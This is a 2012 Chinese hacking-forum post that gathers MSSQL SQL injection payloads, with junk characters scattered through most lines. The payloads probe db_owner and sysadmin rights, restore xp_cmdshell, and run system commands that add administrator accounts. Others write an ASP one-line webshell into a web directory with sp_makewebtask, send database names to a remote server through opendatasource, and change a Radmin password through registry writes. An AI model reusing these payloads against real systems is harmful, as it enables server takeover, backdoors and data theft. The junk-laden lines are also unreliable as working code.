找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1839|回复: 0
打印 上一主题 下一主题

常用的一些注入命令

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:40:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
//看看是什么权限的
2 g1 m8 w' }2 E: G" jand 1=(Select IS_MEMBER('db_owner'))7 j5 K; u+ _6 w  n+ R. @8 A
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--( j- T: D( g3 f/ A

8 D- W2 ~8 s% a. R//检测是否有读取某数据库的权限
' U8 j" V" S& v$ B! z( W0 [0 Fand 1= (Select HAS_DBACCESS('master'))( H3 i1 p& F- N) h
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
; @7 E. j- b. ~7 C( T( h- Y7 f+ w% {8 x/ v( Z
# z, d2 F7 @6 ]/ z$ g
数字类型
8 h# j: O) i. K* ^& p% w: \' n5 M; _and char(124)%2Buser%2Bchar(124)=0" J+ C3 J( @, w9 s' _5 P

+ a% S7 x' O- k8 ~2 K  w/ Z字符类型
; v  Z0 ]- p  q2 f' and char(124)%2Buser%2Bchar(124)=0 and ''=') w5 X0 R/ N; c  p; o

, u" K! }! a8 A; M* {. H( _1 H+ i搜索类型- A7 @9 h* y4 P  A8 ]; o
' and char(124)%2Buser%2Bchar(124)=0 and '%'='6 `& Q. l1 q; `; t% F9 v) E7 J

1 H" b) L9 U  ]2 l! U  U爆用户名, H5 `# \  _3 ~0 q& P0 R
and user>0
# I5 P$ s4 h# n/ a" ~' and user>0 and ''=': B* d) I- d# |- c+ c$ W
+ P& o. d" V4 i8 [+ l% K. n7 {
检测是否为SA权限" w: Y+ U3 k9 b& I1 K! l
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
: r* ]3 E0 h6 m9 S' gAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
9 X* a$ z9 Z& i5 V/ x- {& m% U: n; r/ C% |" J" O/ R
检测是不是MSSQL数据库# {3 s# ]! k1 _% K9 I$ B1 E& a
and exists (select * from sysobjects);--$ _! J" i" F% N) K

0 i4 {& o& a8 i, T7 u4 h检测是否支持多行
- E+ [# n0 b+ f& O, Z  ]& S;declare @d int;--8 b, r  m/ L$ r/ [/ d
* n2 y# ^. I" j: p
恢复 xp_cmdshell8 ^/ N; M7 K) Y
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
5 H: X: P' p: E$ @# L! J
. i5 \" Q; h% h; h3 {& R. R& C7 x( E1 B
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
; W7 h+ k. x" a! D1 _* A" S: Z( F- J; y, e* V5 w; i
//-----------------------# d, f. w+ g  o) l0 a) I6 @
//       执行命令& |5 t$ K7 y- |8 j
//-----------------------+ h; q) o# y, ^
首先开启沙盘模式:
2 v2 c3 `! m4 i1 Nexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
( Z! |+ f) ^  `
# @- d3 [) _7 C! {然后利用jet.oledb执行系统命令
9 W) [% W: i! Z5 _2 n! Hselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
6 {: p$ w4 u% r8 z6 Y7 f
, o, k" b5 b' Y4 f+ k执行命令/ r5 \! ^" D$ P. ?3 y
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--% |; R+ {% \% N: E2 o

8 M, }7 C$ t+ S# W0 w- ]: U6 GEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'& i) v2 e2 M& Y2 O9 O
. n1 J2 _9 p- n5 `- H1 q2 j0 Y* S. O
判断xp_cmdshell扩展存储过程是否存在:# _6 j! \* ?" N0 P: @8 d7 c  u
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
1 `+ m  x( m. c% I1 E
" I/ F! Z+ u  z$ v& S" D' e' W写注册表
  {' R; D* W/ ~; f! Pexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
, L7 D4 n, P/ J' ~+ s" _0 y! {, n+ m- d- c3 j7 Y! t
REG_SZ
" ?& ~6 W: h9 z3 \* }3 n8 i$ E* J6 v0 b$ ~1 ~! H# W' y- \
读注册表
, D2 ^4 N; M' T4 t) _8 zexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
7 A" T2 U/ y! _9 b4 Z1 T/ x7 X4 W# m9 Z$ \% ]# Y! [$ Q4 D
读取目录内容
6 V% h$ ]  K0 k  O3 j3 iexec master..xp_dirtree 'c:\winnt\system32\',1,13 V, z6 s1 |! [0 l

9 ]3 h8 {$ C2 q* r; P( M+ g) H8 ^+ X0 ]
数据库备份
. o, X& }$ C' K1 c# g" s- kbackup database pubs to disk = 'c:\123.bak': h. L2 T5 u6 G- z
8 c; Q* O% S, O- n, P
//爆出长度
+ N, C3 y6 M0 |And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
+ L8 Z' C$ {9 F$ E" i) }% p" E2 W: ~' Q  R0 s

5 U6 W" L- p$ I, ^0 M9 V# D, k' W! F. D$ m+ s7 \8 Q9 ~
更改sa口令方法:用sql综合利用工具连接后,执行命令:
- K. Y* S- s" s  ]% Z& n- Uexec sp_password NULL,'新密码','sa'
( S6 Y6 q0 O  L' a+ ^5 F% K+ }
1 c; z% m2 ^8 q( V添加和删除一个SA权限的用户test:
+ n) S5 X. n6 |) S( y; Qexec master.dbo.sp_addlogin test,9530772' u% Q  z" d) w" W
exec master.dbo.sp_addsrvrolemember test,sysadmin
' i7 x! _: |. X4 b# X8 @2 s' o3 d8 c3 I2 h1 v) W
删除扩展存储过过程xp_cmdshell的语句:
& v' S3 p, v' F4 _1 x8 P( I! J8 j2 oexec sp_dropextendedproc 'xp_cmdshell'2 }' y0 [6 L$ F2 L0 s" s

  U% `# M* [9 q5 v7 k4 o8 ?添加扩展存储过过程
/ ?  m, H8 H' ]) J$ ZEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
0 H! d  {( m. i5 O$ C8 y" O& DGRANT exec On xp_proxiedadata TO public
/ D: d, x: e# d6 K% u% k/ e  y* n( V2 T. K8 \8 R
9 t2 Y# @0 ~' q. V7 w  U, M4 r; g
停掉或激活某个服务。
; p0 K' Q7 Q5 C" N4 ]  c" a1 @( U  |) _3 T9 @$ j
exec master..xp_servicecontrol 'stop','schedule'
# g' t5 M' w  I% A! Z% F1 t5 F" kexec master..xp_servicecontrol 'start','schedule'! ?9 u5 v) m, H% m
' F8 c) w5 n7 i4 d! \' \6 H9 K
dbo.xp_subdirs( B- V, F0 ?1 t9 K  N
! r5 a! X& j7 v# `- k9 e/ f' O
只列某个目录下的子目录。
/ m' B0 Z2 t" b6 ]/ ixp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'4 J- a8 T" d2 \: J0 s, E% ]/ b; t

3 ^* y5 z* |  u  rdbo.xp_makecab
3 h+ T; a9 {! w4 q+ R
. e( Z' K# Y* g; F5 U( ?: H将目标多个档案压缩到某个目标档案之内。7 n) g) {6 g7 D) g
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。! p3 \8 x1 d/ ]! J
5 V/ `# I( ^% W% d+ X0 P
dbo.xp_makecab
/ l6 F4 |8 V4 k, H( G- P9 g* ~'c:\test.cab','mszip',1,: i$ V: O5 P! ~6 O- r# B, b
'C:\Inetpub\wwwroot\SQLInject\login.asp',+ h. t$ H- U% f7 N0 ?5 f4 }
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'4 ~) o1 Y. |0 }5 e

2 K! Y1 M8 s+ y+ L5 a8 S( Bxp_terminate_process
' ^& |7 J7 ~0 E$ `1 c' b$ E+ O2 d: |% Q
停掉某个执行中的程序,但赋予的参数是 Process ID。) d) g5 r6 ~( v. K+ }
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID+ O- L$ Y* s0 Q

; v1 i2 d8 u1 H( b" o* Qxp_terminate_process 2484
% U! |- w" l2 @/ ?- b- D- Q9 c
8 o: X4 P8 p( Y1 ixp_unpackcab
9 x5 @5 A& I2 ]" I% |" z6 {' }; h* s
解开压缩档。& E; P, R+ ^. p4 q5 }8 @
0 u3 {  ]: Z9 R4 Y2 c
xp_unpackcab 'c:\test.cab','c:\temp',1
+ p+ |& C, A) K- T( }2 a
( Z6 [! A8 Z! P1 c) M  v8 c4 Y
& R1 z( _) k- {5 x( D+ m8 Y某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
% k$ y8 F9 c6 C9 u
: ?3 l- E6 P% C& L% b# K& lcreate database lcx;3 h) d: }% l( M' q: s5 A9 _
Create TABLE ku(name nvarchar(256) null);
0 I3 V, m- ^3 H# v+ {# P9 pCreate TABLE biao(id int NULL,name nvarchar(256) null);9 i5 m2 i% f1 B$ [/ ]9 H

5 v+ J% g: N% ]9 \1 W//得到数据库名, H9 K, N2 ~  p9 `( W5 b  x1 g5 {4 M
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
* ]" S0 `7 a  k- T+ ^. o7 r6 U0 a. D* Z0 Y+ H
! T2 s( y( g' [& {/ J) _$ Z6 I$ T
//在Master中创建表,看看权限怎样
  P* Z' f( T& u; x( OCreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
: L8 G4 j/ g; w1 `4 l
, O/ [6 P0 \0 g0 y' [) h用 sp_makewebtask直接在web目录里写入一句话马:6 |/ q8 c3 P1 g1 F9 Q3 ]7 G
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
( v& B( m$ ^. s7 P  W& p  _8 H* J2 G+ J2 A) g
//更新表内容$ n; E! a: y9 O+ |7 D* S
Update films SET kind = 'Dramatic' Where id = 123* ^, Q4 Q2 {5 y

% `" O) y. ^/ U" w//删除内容5 ?% e3 x9 Z+ R( `% l4 B
delete from table_name where Stockid = 3
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表